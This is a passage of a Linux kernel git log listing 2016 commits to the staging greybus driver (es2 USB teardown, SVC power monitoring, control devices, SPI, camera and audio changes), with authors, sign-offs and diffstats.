functions are present in this order in the structure as well. Also keeping these two makes more sense. Tested by removing the gb-es2.ko module on both EVT1.5 and qemu with gbsim. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) commit 62de6e0a7262edebc4debd99585b19dc10d2741d Author: Viresh Kumar Date: Thu Apr 21 11:31:15 2016 +0530 greybus: es2: don't protest when getting -ENOENT/ESHUTDOWN USB errors -ENOENT or -ESHUTDOWN happens when the urbs are being killed from ->disconnect() callback. Don't complain to userspace about this, as the user will see this on es2 module removal. Tested by removing the gb-es2.ko module on both EVT1.5 and qemu with gbsim. The driver doesn't throw anymore errors like: "urb cport in error -2 (dropped)". Signed-off-by: Viresh Kumar Tested-by: David Lin Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 5 +++++ 1 file changed, 5 insertions(+) commit ecdd3a2d59321ebd46c595dbadf24f50364a052a Author: Viresh Kumar Date: Thu Apr 21 11:31:14 2016 +0530 greybus: es2: disable cport-in after remove greybus host device This allows greybus to do operations before being removed. Tested by removing the gb-es2.ko module on both EVT1.5 and qemu with gbsim. The driver removes the greybus host device successfully before disabling the urbs. The errors are still coming ("urb cport in error -2 (dropped)"), but with an error value -2 (ENOENT) instead of -108. And that happens while the urbs are disabled, not while doing greybus operations. Signed-off-by: Viresh Kumar Acked-by: David Lin Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit a0f997bd5db42eb21d42f04d10cbe03f3fc4fa91 Author: Viresh Kumar Date: Thu Apr 21 11:31:13 2016 +0530 greybus: es2: Allow proper release of greybus host device The usb core disables the Interface prior to calling ->disconnect() for the usb driver. That disallows the es2 driver to remove the greybus host device and every entity below it in a clean way, as the greybus core may want to do few operations over the usb connection before getting removed. And so we see bunch of errors while we remove the es2 module, like: "urb cport in error -108 (dropped)" The usb core has a special per-driver flag, 'soft_unbind', for such usb drivers. If this flag is set by a driver, the usb core doesn't disable the Interface prior to calling ->disconnect(). Set that flag for es2. Tested by removing the gb-es2.ko module on both EVT1.5 and qemu with gbsim. The interface isn't disabled by the core and the driver is still able initiate greybus operations over the Interface. This can be properly tested only after the next patch which removes the greybus host device before disabling the urbs. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 1 + 1 file changed, 1 insertion(+) commit 36460e8a895d1f7209c5a0d7c6a87b2ecc68cc4c Author: Viresh Kumar Date: Thu Apr 21 08:11:57 2016 +0530 greybus: audio-codec: Staticize few routines to fix build warnings This fixes below warnings .. greybus/audio_codec.c:20:32: warning: symbol 'find_data' was not declared. Should it be static? greybus/audio_codec.c:955:6: warning: symbol 'gbaudio_codec_cleanup' was not declared. Should it be static? Signed-off-by: Viresh Kumar Reviewed-by: Vaibhav Agarwal Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit de86e251f87fbc22efc935911f570c97f9b95cac Author: Viresh Kumar Date: Thu Apr 21 08:13:01 2016 +0530 greybus: bootrom: fix typo s/Firware/Firmware Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bootrom.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 698bdcbf87f3c8a2f998058d58f4baa8ab8e192a Author: Evgeniy Borisov Date: Mon Apr 18 16:27:36 2016 +0300 greybus: camera-gb: Remove hardcode for CSI TX number of lanes The number of CSI TX lanes is hardcoded to 4. Removing this and start using value from configure stream response. NOTE: The patch depends on the CSI init change: "Use GB CSI params to init camera sub-devs" Signed-off-by: Evgeniy Borisov Reviewed-by: Gjorgji Rosikopulos Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9504677c9a9ef4123e4bc9fb8f6903b92453ea6f Author: David Lin Date: Wed Apr 20 16:55:08 2016 -0700 greybus: svc: add AP power measurements debugfs support This change adds the AP Power Monitor functions to read out all the rails power information monitored by the SVC. Testing Done: - $ cat /d/greybus/1-svc/pwrmon/*/* and validate the output with the svc stub power monitor functions - $ tree /d/greybus/1-svc/pwrmon | | | |---pwrmon | | | | |---DUMMY_RAIL_1 | | | | | |---current_now | | | | | |---power_now | | | | | |---voltage_now | | | | |---DUMMY_RAIL_2 | | | | | |---current_now | | | | | |---power_now | | | | | |---voltage_now | | | | |---DUMMY_RAIL_3 | | | | | |---current_now | | | | | |---power_now | | | | | |---voltage_now | | | | |---DUMMY_RAIL_4 | | | | | |---current_now | | | | | |---power_now | | | | | |---voltage_now Signed-off-by: David Lin Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 22 +++ drivers/staging/greybus/svc.c | 231 ++++++++++++++++++++++++++++ drivers/staging/greybus/svc.h | 10 ++ 3 files changed, 263 insertions(+) commit 05a849191f964cf684777fed9ac471d59f2f18ef Author: David Lin Date: Mon Apr 18 13:11:31 2016 -0700 greybus: es2: Fix apb_log null pointer exception Read on apb_log causes null pointer exception due to the missing es2 device pointer passing to the debugfs. Testing done: - Enable apb_log and cat it Signed-off-by: David Lin Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b4b1b7eda9fe0d5a399d9095b2e8d5657726538c Author: Axel Haslam Date: Wed Apr 20 20:47:20 2016 +0200 greybus: uart: Update line coding settings only when needed The check for line coding changed should use memcmp and not memcpy. Testing done: trivial Reviewed-by: Johan Hovold Signed-off-by: Axel Haslam Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 41d514020f4844905f349cd51476d03db254317a Author: Johan Hovold Date: Wed Apr 13 19:19:09 2016 +0200 greybus: svc: remove interface-remove helper Remove unnecessary interface-remove helper. Also add comment about why the disconnected flag is set. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 16 ++++++---------- 1 file changed, 6 insertions(+), 10 deletions(-) commit 96fb6c340b4abb295ae5c7e904befef33a1d0325 Author: Johan Hovold Date: Wed Apr 13 19:19:08 2016 +0200 greybus: svc: keep interfaces registered during mode switch Keep a detected interface registered until it is physically removed. Specifically, do not re-register an interface that is switching mode. Note that this also allows us to get rid of some nasty hacks from core. The Ara VID/PID bootrom hack for ES2 will continue to work, but is now mostly confined to the bootrom driver. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 32 +++++++++++---------- drivers/staging/greybus/svc.c | 55 ++++++++++--------------------------- 2 files changed, 31 insertions(+), 56 deletions(-) commit 87a4c819a545e41eacab0de1e250173963dacbf8 Author: Johan Hovold Date: Wed Apr 13 19:19:07 2016 +0200 greybus: svc: make sure to deactivate all interfaces on disconnect Make sure to deactivate all interfaces when the svc is going away. This is needed to eventually be able to do controlled teardown of the unipro network. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 1 + 1 file changed, 1 insertion(+) commit 49605839bcd644016e2ec3b1534104e2cb3ce984 Author: Johan Hovold Date: Wed Apr 13 19:19:06 2016 +0200 greybus: interface: reduce control-device lifetime Make the control-device lifetime coincide with when the interface is enabled (enumerated). This is needed to be able register a new control device after a mode switch. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 34 ++++++++++++++++++++++------------ drivers/staging/greybus/interface.h | 1 + 2 files changed, 23 insertions(+), 12 deletions(-) commit b6147e4fb13e926878dbef9adae429faf8d8c2dd Author: Johan Hovold Date: Wed Apr 13 19:19:05 2016 +0200 greybus: control: return error pointer when failing to create control device Return an error pointer when failing to create a control device. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/control.c | 13 ++++++++----- drivers/staging/greybus/interface.c | 6 ++++-- 2 files changed, 12 insertions(+), 7 deletions(-) commit 7c8eb12dbb4c1b43ce705a8ba1a5c9c1191e75d8 Author: Johan Hovold Date: Wed Apr 13 19:19:04 2016 +0200 greybus: interface: move vendor and product strings to control device The control device is an abstraction of the control connection over which a greybus manifest is retrieved. As interfaces switch modes (e.g. after boot-over-unipro) they expose new manifests, which can contain different vendor and product strings. Eventually control devices will be deregistered and recreated after an interface mode switch, while the interface itself remains registered. Note that only interfaces of type greybus will have control devices. Specifically, dummy interfaces will not. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman .../greybus/Documentation/sysfs-bus-greybus | 28 ++++++++++----------- drivers/staging/greybus/control.c | 29 ++++++++++++++++++++++ drivers/staging/greybus/control.h | 3 +++ drivers/staging/greybus/interface.c | 7 ------ drivers/staging/greybus/interface.h | 4 --- drivers/staging/greybus/manifest.c | 13 +++++----- 6 files changed, 53 insertions(+), 31 deletions(-) commit 7326e07b588cace823a36d4a563838b051b8b8a5 Author: Johan Hovold Date: Wed Apr 13 19:19:03 2016 +0200 greybus: interface: register control device at hotplug Make sure to register also the control device along with any bundles when registering an interface. Note that we currently ignore failures to register the control device just as we do for bundle devices. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/control.c | 21 +++++++++++++++++++++ drivers/staging/greybus/control.h | 2 ++ drivers/staging/greybus/interface.c | 4 ++++ 3 files changed, 27 insertions(+) commit a6e5b014b8fe0bd4cb1e1ca0380320a200605742 Author: Johan Hovold Date: Wed Apr 13 19:19:02 2016 +0200 greybus: core: make the control object be a device Make the control object be a greybus device. The control device will be used to expose attributes specific to greybus-type interfaces. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/control.c | 28 +++++++++++++++++++++++++--- drivers/staging/greybus/control.h | 8 ++++++-- drivers/staging/greybus/core.c | 5 +++++ drivers/staging/greybus/greybus.h | 6 ++++++ drivers/staging/greybus/interface.c | 2 +- 5 files changed, 43 insertions(+), 6 deletions(-) commit 1ed8cdef405806c246b62a1ba926e0251fdaa531 Author: Johan Hovold Date: Wed Apr 13 19:19:01 2016 +0200 greybus: control: move timesync-operation functions Move the timesync-operation functions above the control-object management functions, which is where all other operation implementations reside. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/control.c | 72 +++++++++++++++++++-------------------- 1 file changed, 36 insertions(+), 36 deletions(-) commit a530a8be395ff2df384ca729013890f3f040cf99 Author: Johan Hovold Date: Wed Apr 13 19:19:00 2016 +0200 greybus: interface: disable interface on registration failures Disable and deactivate an interface immediately on registration failures. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit 078ef067bca6725ab71c0c8d58112ae66097062f Author: Johan Hovold Date: Wed Apr 13 19:18:59 2016 +0200 greybus: Documentation/sysfs: add example control devices Add control devices to the example sysfs tree. Control devices are named -..ctrl and expose attributes that are specific to the greybus interface type. Specifically, dummy interfaces do not have a control device. Currently, only the vendor and product strings extracted from the manifest are exported. A subtree of the example tree now looks as follows: greybus1/ ├── 1-5 │   ├── 1-5.5 │   │   ├── 1-5.5.2 │   │   │   ├── bundle_class │   │   │   ├── bundle_id │   │   │   └── state │   │   ├── 1-5.5.ctrl │   │   │   ├── product_string │   │   │   └── vendor_string │   │   ├── ddbl1_manufacturer_id │   │   ├── ddbl1_product_id │   │   ├── interface_id │   │   ├── product_id │   │   ├── serial_number │   │   └── vendor_id │   ├── 1-5.6 │   │   └── interface_id │   ├── eject │   ├── module_id │   └── num_interfaces └── 1-svc Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman .../Documentation/sysfs/greybus1/1-2/1-2.2/1-2.2.ctrl/product_string | 0 .../Documentation/sysfs/greybus1/1-2/1-2.2/1-2.2.ctrl/vendor_string | 0 .../Documentation/sysfs/greybus1/1-5/1-5.5/1-5.5.ctrl/product_string | 0 .../Documentation/sysfs/greybus1/1-5/1-5.5/1-5.5.ctrl/vendor_string | 0 .../Documentation/sysfs/greybus2/2-3/2-3.3/2-3.3.ctrl/product_string | 0 .../Documentation/sysfs/greybus2/2-3/2-3.3/2-3.3.ctrl/vendor_string | 0 6 files changed, 0 insertions(+), 0 deletions(-) commit 9e5e6fa6bf66503f4eb48601f3d7b58c8a5f2b0a Author: Johan Hovold Date: Wed Apr 13 19:18:58 2016 +0200 greybus: Documentation/sysfs: rename the svc eject attribute The svc eject attribute was added as an interim solution and is still used to implement a form of forced ejection. This will soon be superseded by the module eject attribute, which will provide an interface for clean eject. We may keep the forced-eject mechanism around indefinitely, albeit possibly with a different name (e.g. forced_intf_eject). Either way, update the example tree to reflect the actual name, intf_eject, which currently used for this svc attribute. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Documentation/sysfs/greybus1/1-svc/eject | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-svc/intf_eject | 0 drivers/staging/greybus/Documentation/sysfs/greybus2/2-svc/eject | 0 drivers/staging/greybus/Documentation/sysfs/greybus2/2-svc/intf_eject | 0 4 files changed, 0 insertions(+), 0 deletions(-) commit 78b609b14c432d9ce9a994b31b6d18ae3fd41288 Author: Johan Hovold Date: Wed Apr 13 19:18:57 2016 +0200 greybus: Documentation/sysfs: remove interface unique_id attribute Remove the interface unique_id attribute, which there is currently no plan to ever implement. Note that the Ara serial numbers are already exposed through the serial_number attribute. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/1-2.2/unique_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-5/1-5.5/unique_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus2/2-3/2-3.3/unique_id | 0 3 files changed, 0 insertions(+), 0 deletions(-) commit aba2fc626e02d493a816bd9e89d338509ca5accc Author: Johan Hovold Date: Wed Apr 13 19:18:56 2016 +0200 greybus: Documentation: move the interface power attributes Move the interface power attributes after the other interface attributes to keep the attributes grouped by device type. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman .../greybus/Documentation/sysfs-bus-greybus | 42 +++++++++++----------- 1 file changed, 21 insertions(+), 21 deletions(-) commit 7d963cbe8302d16d2171ecc729782f0d2e7cfbe7 Author: Johan Hovold Date: Wed Apr 13 19:18:55 2016 +0200 greybus: manifest: fix illegal free in error path The manifest-parsing code could end up leaving the interface vendor_string set to an error pointer that we'd eventually try to free when destroying the interface. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) commit d1d67714a4ece3c1438c9d7def324ee0424e7cbd Author: Rui Miguel Silva Date: Wed Apr 20 14:40:23 2016 +0100 greybus: spi: use timeout request send operation When transfer speed is too slow (less than 17Khz) the operation can take longer than the default greybus timeout. Because of this we need to use the request_send_sync_timeout and calculate the correct timeout for each operation. Signed-off-by: Rui Miguel Silva Tested-by: Philip Yang Tested-by: Axel Haslam Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/spi.c | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) commit 0928b2e4401cebd7fd2b8aebc41be60dbe4c2ef3 Author: Rui Miguel Silva Date: Wed Apr 20 14:40:22 2016 +0100 greybus: spi: fix message transfer over greybus The actual implementation of transfer_one_message have problems with some cases in the possible transfer options. We try to maximize the number of spi transfers in one greybus operation and need to save state until the full message is dispatch over greybus. Signed-off-by: Rui Miguel Silva Tested-by: Philip Yang Tested-by: Axel Haslam Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/spi.c | 193 +++++++++++++++++++++++++++++++++--------- 1 file changed, 153 insertions(+), 40 deletions(-) commit 192c70dcf6c6f8c39a108f9ba56e916808f23cca Author: David Lin Date: Sat Apr 16 01:15:16 2016 +0530 greybus: svc watchdog: Disable watchdog upon entering suspend SVC watchdog should be disabled when device is entering suspend mode. Testing done: - Sanity tested on EVT1.5 - Check no SVC ping during the suspend process - Check SVC watchdog is back on pinging once device is resumed Signed-off-by: David Lin Signed-off-by: Vaibhav Hiremath [vaibhav.hiremath@linaro.org: Removed unwanted check in notifier callback and Updated commit description] Tested-by: Sandeep Patil Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc_watchdog.c | 46 +++++++++++++++++++++++++++++++++- 1 file changed, 45 insertions(+), 1 deletion(-) commit 9160b7c7652a80f48250bbdc151fa0af3ccf024f Author: David Lin Date: Sat Apr 16 01:15:15 2016 +0530 greybus: arche-platform: Power-off unipro subsystem upon suspend Switch off APBs/SVC/Switch in the suspend call notifier. Note that this is an interim solution to enable fishfooding. Testing done: - Passed QA sanity test on EVT1.5 - Suspend current measured at ~70mW Signed-off-by: David Lin Signed-off-by: Vaibhav Hiremath [vaibhav.hiremath@linaro.org: Updated commit description] Tested-by: Sandeep Patil Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 35 ++++++++++++++++++++++++++++++++ 1 file changed, 35 insertions(+) commit 777471a445242e34c790b5b80d031a013933fd05 Author: Bryan O'Donoghue Date: Tue Apr 12 17:15:11 2016 +0100 greybus: Fixup __u64, __u32 to __le64, __le32 in timesync declarations A number of data in TimeSync command structures are declared __u64/__u32 instead of __le64/__le32, I forgot to put this through an x86_64 compile before presentation for merge and as a result didn't catch this error. This patch fixes. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/control.c | 2 +- drivers/staging/greybus/greybus_protocols.h | 12 ++++++------ 2 files changed, 7 insertions(+), 7 deletions(-) commit a7ddda1f5aa47779071dd4c6f3a5e65c0086e49f Author: Vaibhav Hiremath Date: Tue Apr 12 17:18:47 2016 +0530 greybus: arche-platfrom: Get rid of 2sec delay in USB3613 configuration Earlier during boot sequence implementation, we had seen race between USb3613 and APB boot, and since APB boot time is ~2sec, we delayed USb3613 configuration for 2sec after APB deassertion of reset. This obviously won't work in the case of suspend/resume, where we would like to put APB into OFF state and coldboot in resume. With the latest FW changes, we do not see any race issue. I have done regression testing (> 50 iteration of reboot + unipro link up and down) without any issues. So lets get rid of the 2sec delay with this patch. Testing Done: Tested on EVT 1.5 platform. Signed-off-by: Vaibhav Hiremath Tested-by: David Lin Reviewed-by: David Lin Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 31 ++++--------------------------- 1 file changed, 4 insertions(+), 27 deletions(-) commit b4905038965fb986d8496e47cc52a08428408ae5 Author: Evgeniy Borisov Date: Wed Apr 6 15:22:45 2016 +0300 greybus: camera-gb: Extend the configure streams interface Extending the configure streams interface with CSI params. Getting CSI frequency data form configure streams response. * num_lanes - Number of CSI data lanes * clk_freq - CSI clock frequency in Hz * lines_per_second - Total number of lines in a second of transmission (blanking included) From the AP side we need to know for the CSI speed configuration. This information is needed for dynamically bandwidth calculations. NOTE: Change should be along merged with corresponding interface change in kernel: "camera: Extend the configure streams interface with CSI params" Signed-off-by: Evgeniy Borisov Reviewed-by: Gjorgji Rosikopulos Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 17 +++++++++++++---- drivers/staging/greybus/gb-camera.h | 16 +++++++++++++++- 2 files changed, 28 insertions(+), 5 deletions(-) commit ddb10c8acc8554ffb68bdb6d80d0e277e124cb2b Author: David Lin Date: Thu Apr 7 20:15:30 2016 -0700 greybus: svc: add Interface power measurements support This change implements the AP Power Monitor functions for obtaining current/voltage/power on a specific rail of an Interface. Testing Done: $ cat /sys/bus/greybus/devices/1-3/current_now 103 $ cat /sys/bus/greybus/devices/1-3/power_now 303 $ cat /sys/bus/greybus/devices/1-3/voltage_now 203 Signed-off-by: David Lin Reviewed-by: Viresh Kumar Reviewed-by: Bartosz Golaszewski Signed-off-by: Greg Kroah-Hartman .../greybus/Documentation/sysfs-bus-greybus | 21 ++++++++ drivers/staging/greybus/greybus_protocols.h | 23 +++++++++ drivers/staging/greybus/interface.c | 60 ++++++++++++++++++++++ drivers/staging/greybus/svc.c | 38 ++++++++++++++ drivers/staging/greybus/svc.h | 2 + 5 files changed, 144 insertions(+) commit 89de9a06213240b9266f9f368a867cf90d0024bf Author: Vaibhav Agarwal Date: Wed Mar 30 13:23:56 2016 +0530 greybus: audio: Update device type based on widget types Device type info shared to above HAL is currently hard coded to SPK only. Actual device type is identifed while parsing widget types from topology FW shared by codec module. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.h | 17 +++++++++++++++++ drivers/staging/greybus/audio_module.c | 4 ++-- drivers/staging/greybus/audio_topology.c | 5 +++++ 3 files changed, 24 insertions(+), 2 deletions(-) commit a9234bfd6cec4420b5bef29d77dce1f9cb0543e2 Author: Vaibhav Agarwal Date: Wed Mar 30 13:23:55 2016 +0530 greybus: audio_manager: Split device type into i/p & o/p devices Currently, single field is used to report device type say SPK, MIC, HS, HP, etc. However above HAL expects separate fields for input & ouput device types. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_manager.h | 3 +- drivers/staging/greybus/audio_manager_module.c | 38 +++++++++++++++++++------- drivers/staging/greybus/audio_manager_sysfs.c | 7 +++-- drivers/staging/greybus/audio_module.c | 3 +- 4 files changed, 36 insertions(+), 15 deletions(-) commit dc5cc72cc6c219868ad5b87b26c79ac778444210 Author: Gjorgji Rosikopulos Date: Fri Apr 1 17:32:43 2016 +0300 greybus: camera: Add metadata format Add support for greybus metadata format. Greybus metadata format id is 0x41. Signed-off-by: Gjorgji Rosikopulos Acked-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 4 ++++ 1 file changed, 4 insertions(+) commit 5a53e02eaf223c42c6ca8d9664c1191ea7c2b106 Author: Viresh Kumar Date: Sun Apr 3 12:18:35 2016 +0530 greybus: firmware: Rename to bootrom protocol Align with Greybus specifications and rename Firmware Protocol driver as Bootrom Protocol driver. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 2 +- drivers/staging/greybus/bootrom.c | 382 ++++++++++++++++++++++++++++ drivers/staging/greybus/bootrom.h | 16 ++ drivers/staging/greybus/core.c | 14 +- drivers/staging/greybus/firmware.c | 382 ---------------------------- drivers/staging/greybus/firmware.h | 16 -- drivers/staging/greybus/greybus_manifest.h | 4 +- drivers/staging/greybus/greybus_protocols.h | 80 +++--- 8 files changed, 448 insertions(+), 448 deletions(-) commit 0c35631bce4d0bece5a8e823b7f9ef115c712c4f Author: Viresh Kumar Date: Fri Apr 1 11:15:42 2016 +0530 greybus: checkpatch.pl: Mark --no-tree as default option Don't know why, but checkpatch checks if we are running it from top of a kernel tree or not, but then it also provides an option to suppress the warning using --no-tree. Instead of forcing everyone to use this every time, lets make this behavior default. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/scripts/checkpatch.pl | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f053f44c9f7f85dd2bab589930d5f3171bb1eaf7 Author: Akash Choudhari Date: Fri Apr 1 20:10:01 2016 -0700 greybus: Revert "Added a sysfs entry to power down the SVC" This reverts commit a1d8f2c3856804ed26157104bb203edf4c882a6c. drivers/staging/greybus/greybus_protocols.h | 1 - drivers/staging/greybus/svc.c | 28 ---------------------------- drivers/staging/greybus/svc.h | 1 - 3 files changed, 30 deletions(-) commit 88a3011e91f7c557798301d47f830320580795cf Author: Georgi Dobrev Date: Thu Mar 24 13:37:21 2016 +0200 greybus: Added a sysfs entry to power down the SVC Added a sysfs entry called pwr_off. When a "1" is passed to it, it sends a GB_SVC_TYPE_PWR_DOWN command to the SVC, powering it down along with the switch and INA231 chips. Testing Done: Tested on EVT1_5, works. Signed-off-by: Georgi Dobrev drivers/staging/greybus/greybus_protocols.h | 1 + drivers/staging/greybus/svc.c | 28 ++++++++++++++++++++++++++++ drivers/staging/greybus/svc.h | 1 + 3 files changed, 30 insertions(+) commit d9984cf0f24860bc3a9d3c8f48d90a148827c5c6 Author: Greg Kroah-Hartman Date: Thu Mar 31 22:35:24 2016 -0700 greybus: scripts: create subdir for checkpatch and spelling.txt They belong in a subdir. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/checkpatch.pl | 5993 ------------------------- drivers/staging/greybus/scripts/checkpatch.pl | 5993 +++++++++++++++++++++++++ drivers/staging/greybus/scripts/spelling.txt | 1072 +++++ drivers/staging/greybus/spelling.txt | 1072 ----- 4 files changed, 7065 insertions(+), 7065 deletions(-) commit a4d11cee6fe9591a78ac82c8b91cf6592d0ba8cf Author: Greg Kroah-Hartman Date: Thu Mar 31 22:26:39 2016 -0700 greybus: trivial: add checkpatch.pl to the tree For those who are stuck using old kernel trees, let's include the latest version of checkpatch.pl into our tree to help prevent coding style mistakes from creeping in. Also add spelling.txt to catch spelling errors in comments. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/checkpatch.pl | 5993 +++++++++++++++++++++++++++++++++ drivers/staging/greybus/spelling.txt | 1072 ++++++ 2 files changed, 7065 insertions(+) commit 094c4302c11889683af54525221ca68f64c1a358 Author: Vaibhav Agarwal Date: Tue Mar 29 16:32:37 2016 +0530 greybus: audio: Add I2S_RX path related settings Capture path related settings during startup, perpare & hwparams were earlier missing. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 144 +++++++++++++++++++++++++++------- 1 file changed, 114 insertions(+), 30 deletions(-) commit 64a7e2cceb75ccabaec713944a95511605751b29 Author: Vaibhav Agarwal Date: Tue Mar 29 16:32:36 2016 +0530 greybus: audio: Added jack support to audio module Register jack with ASoC sound card in case audio module populates it via codec FW. Currently, only a single jack with 4 buttons can be registered for each module. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 98 +++++++++++++++++++++ drivers/staging/greybus/audio_codec.h | 15 ++++ drivers/staging/greybus/audio_module.c | 142 +++++++++++++++++++++++++++++-- drivers/staging/greybus/audio_topology.c | 1 + 4 files changed, 251 insertions(+), 5 deletions(-) commit 6da549ec851117293a07e64f97170f7dc9d55578 Author: Vaibhav Agarwal Date: Tue Mar 29 16:32:35 2016 +0530 greybus: audio: Fix widget pointer update during control parsing widget pointer was incorrectly modfied while parsing kcontrol Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_topology.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1472ec67f734d9707d4758fddd4787113fe0b0b2 Author: Gjorgji Rosikopulos Date: Thu Mar 31 14:12:45 2016 +0300 greybus: camera: Use pointer for gb camera module ops No need to duplicate module ops on every registration. NOTE: Change should be along merged with: "msm: camera: Change gb_camera_module ops to pointer" Signed-off-by: Gjorgji Rosikopulos Reviewed-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 21 ++++++++++++++------- drivers/staging/greybus/gb-camera.h | 6 +++--- 2 files changed, 17 insertions(+), 10 deletions(-) commit a7be84613acc4f732f3aa9ab28da7e2e3a6bab0b Author: Johan Hovold Date: Tue Mar 29 18:56:12 2016 -0400 greybus: interface: add Ara serial-number support Add support for reading the Ara serial-number attributes. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) commit 50ad4163a54cb373012b330d078e4ad17b6e6c95 Author: Johan Hovold Date: Tue Mar 29 18:56:11 2016 -0400 greybus: interface: clean up DME attribute handling Move all DME defines to the interface code and rename them using common prefixes (e.g. DME_T and DME_TOSHIBA). The DDB L1 attributes are defined by MIPI and the Ara attributes are currently Toshiba specific so move them all out of the Greybus protocol header. Also rename the Greybus init-status values using a GB_INIT prefix. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 18 ++++++------------ drivers/staging/greybus/interface.c | 26 ++++++++++++++++---------- 2 files changed, 22 insertions(+), 22 deletions(-) commit ac72cfbe6937f00c1fb334001c89ea26254ef430 Author: Johan Hovold Date: Tue Mar 29 18:56:10 2016 -0400 greybus: interface: clean up ES2 VID/PID hack Clean up the ES2 VID/PID hack using a new quirk flag. Note that the hack is now used if and only if the interface is a Toshiba ES2 bridge (and not if the attributes read zero). Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/firmware.c | 9 +-------- drivers/staging/greybus/greybus_protocols.h | 4 ---- drivers/staging/greybus/interface.c | 1 + drivers/staging/greybus/interface.h | 1 + drivers/staging/greybus/svc.c | 16 ++++------------ 5 files changed, 7 insertions(+), 24 deletions(-) commit 7d7acc06a0febf9f08649df52aa267b8f74b0de9 Author: Johan Hovold Date: Tue Mar 29 